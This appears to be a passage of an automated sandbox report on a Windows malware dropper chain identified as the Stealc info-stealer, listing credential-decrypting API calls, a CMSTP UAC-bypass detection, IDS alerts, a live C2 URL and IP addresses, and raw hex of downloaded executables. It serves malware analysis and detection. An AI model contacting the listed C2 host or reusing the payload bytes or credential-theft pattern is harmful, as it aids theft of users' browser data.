Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: file_name
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: file
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: message
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	8_2_00409540
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	8_2_004155A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	8_2_00406C10
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	8_2_004094A0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	8_2_0040BF90
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCB6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	8_2_6BCB6C80
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE0A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	8_2_6BE0A9A0

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 11.2.run.exe.3521d5b.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.cmd.exe.58c5264.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.run.exe.34dd86d.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.run.exe.352115b.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.cmd.exe.58c5e64.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.cmd.exe.5881976.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: run.exe PID: 4180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 1292, type: MEMORYSTR

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\i1.exe	Unpacked PE file: 6.2.i1.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Unpacked PE file: 8.2.u5do.0.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\i1.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.249.105.199:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.181.163.196:443 -> 192.168.2.5:49735 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: 3C:\mudejugohiya\silufudavug\xokazaxavu\x.pdb source: i1.exe, 00000006.00000000.2037736814.0000000000412000.00000002.00000001.01000000.00000007.sdmp, i1.exe, 00000006.00000002.2388361021.00000000041BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: u5do.0.exe, 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.8.dr
Source:	Binary string: nss3.pdb@ source: u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000007.00000002.2069013279.0000000007A1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\SVN\BTDevManager_HUAWEI\vs2017_BTDevManager\BTDevManager\bin\x64\Win10 Release\RtkBtManServ.pdb source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: run.exe, 0000000B.00000002.2251267276.000000000430B000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2252546783.0000000004B11000.00000004.00000001.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2251506595.0000000004660000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449748547.00000000059B0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2448964853.00000000054D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: run.exe, 0000000B.00000002.2251267276.000000000430B000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2252546783.0000000004B11000.00000004.00000001.00020000.00000000.sdmp, run.exe, 0000000B.00000002.2251506595.0000000004660000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2449748547.00000000059B0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2448964853.00000000054D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.8.dr
Source:	Binary string: mozglue.pdb source: u5do.0.exe, 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\UniversalInstaller.pdb source: run.exe, 0000000B.00000002.2248865521.000000000049C000.00000002.00000001.01000000.0000000D.sdmp, run.exe, 0000000B.00000000.2182482362.000000000049C000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbB source: powershell.exe, 00000007.00000002.2062470395.0000000003343000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #C:\jipogebaye\yonuyujimecog-fofonusipec-walevumeluru9.pdb source: i1.exe, 00000006.00000003.2089591911.0000000005F01000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000000.2087804729.0000000000412000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000007.00000002.2069013279.0000000007A26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2069013279.0000000007A1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: browser_broker.pdb source: i3.exe, 0000000E.00000003.2213225511.0000000002068000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\relay.pdb source: run.exe, 0000000B.00000002.2256962907.0000000068BF7000.00000002.00000001.01000000.0000000E.sdmp, relay.dll.6.dr, relay.dll.11.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.8.dr
Source:	Binary string: notepad.pdbGCTL source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, notepad.exe.14.dr
Source:	Binary string: notepad.pdb source: i3.exe, 0000000E.00000003.2213225511.0000000002076000.00000004.00000020.00020000.00000000.sdmp, notepad.exe.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000007.00000002.2062470395.00000000032E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: browser_broker.pdbUGP source: i3.exe, 0000000E.00000003.2213225511.0000000002068000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\jipogebaye\yonuyujimecog-fofonusipec-walevumeluru9.pdb source: i1.exe, 00000006.00000003.2089591911.0000000005F01000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000000.2087804729.0000000000412000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: m.Core.pdb+ source: powershell.exe, 00000007.00000002.2068811411.00000000079F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000007.00000002.2069013279.0000000007A26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2069013279.0000000007A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: u5do.0.exe, 00000008.00000002.2551947937.000000006BEDF000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\mudejugohiya\silufudavug\xokazaxavu\x.pdb source: i1.exe, 00000006.00000000.2037736814.0000000000412000.00000002.00000001.01000000.00000007.sdmp, i1.exe, 00000006.00000002.2388361021.00000000041BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000007.00000002.2069013279.0000000007A10000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0041D8B1 FindFirstFileExA,	6_2_0041D8B1
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040FDB18 FindFirstFileExA,	6_2_040FDB18
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_00412570
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	8_2_0040D1C0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_004015C0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	8_2_00411650
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	8_2_0040B610
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	8_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	8_2_00411B80
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_0040D540
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	8_2_004121F0

Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData\Local\Temp\u5do.2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856233 ETPRO TROJAN Win32/Unknown Loader Related Activity (GET) 192.168.2.5:49708 -> 185.172.128.90:80
Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49712 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49712 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.76:80 -> 192.168.2.5:49712
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49712 -> 185.172.128.76:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.76:80 -> 192.168.2.5:49712

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.172.128.76/3cd2b41cbde8fc9c.php

Performs DNS queries to domains with low reputation

Source:

DNS query: c.574859385.xyz

Yara detected Generic Downloader

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Apr 2024 09:06:00 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 26 Apr 2024 09:00:02 GMTETag: "6e801-616fc210d74f7"Accept-Ranges: bytesContent-Length: 452609Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 d0 c0 c8 ed b1 ae 9b ed b1 ae 9b ed b1 ae 9b e0 e3 71 9b f1 b1 ae 9b e0 e3 4e 9b 92 b1 ae 9b e0 e3 4f 9b c2 b1 ae 9b e4 c9 3d 9b ee b1 ae 9b ed b1 af 9b 81 b1 ae 9b 58 2f 4b 9b ec b1 ae 9b e0 e3 75 9b ec b1 ae 9b 58 2f 70 9b ec b1 ae 9b 52 69 63 68 ed b1 ae 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ac 07 8b 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 00 00 02 01 00 00 bc c4 03 00 00 00 00 57 44 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 c5 03 00 04 00 00 90 72 07 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 83 01 00 28 00 00 00 00 60 c4 03 79 6a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 c5 03 80 13 00 00 f0 21 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 78 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 00 01 00 00 10 00 00 00 02 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 6c 00 00 00 20 01 00 00 6e 00 00 00 06 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 cd c2 03 00 90 01 00 00 f4 03 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 79 6a 01 00 00 60 c4 03 00 6c 01 00 00 68 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 d0 c5 03 00 14 00 00 00 d4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Apr 2024 09:06:05 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 26 Apr 2024 09:00:02 GMTETag: "4a800-616fc21086414"Accept-Ranges: bytesContent-Length: 305152Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 d0 c0 c8 ed b1 ae 9b ed b1 ae 9b ed b1 ae 9b e0 e3 71 9b f1 b1 ae 9b e0 e3 4e 9b 92 b1 ae 9b e0 e3 4f 9b c2 b1 ae 9b e4 c9 3d 9b ee b1 ae 9b ed b1 af 9b 81 b1 ae 9b 58 2f 4b 9b ec b1 ae 9b e0 e3 75 9b ec b1 ae 9b 58 2f 70 9b ec b1 ae 9b 52 69 63 68 ed b1 ae 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 14 f7 ee 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 00 00 02 01 00 00 7c c2 03 00 00 00 00 57 44 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 c3 03 00 04 00 00 cb 24 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 83 01 00 28 00 00 00 00 30 c2 03 e0 67 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 c3 03 80 13 00 00 f0 21 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 78 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 00 01 00 00 10 00 00 00 02 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 72 6c 00 00 00 20 01 00 00 6e 00 00 00 06 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e8 91 c0 03 00 90 01 00 00 b8 01 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 67 01 00 00 30 c2 03 00 68 01 00 00 2c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 a0 c3 03 00 14 00 00 00 94 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Apr 2024 09:06:09 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a
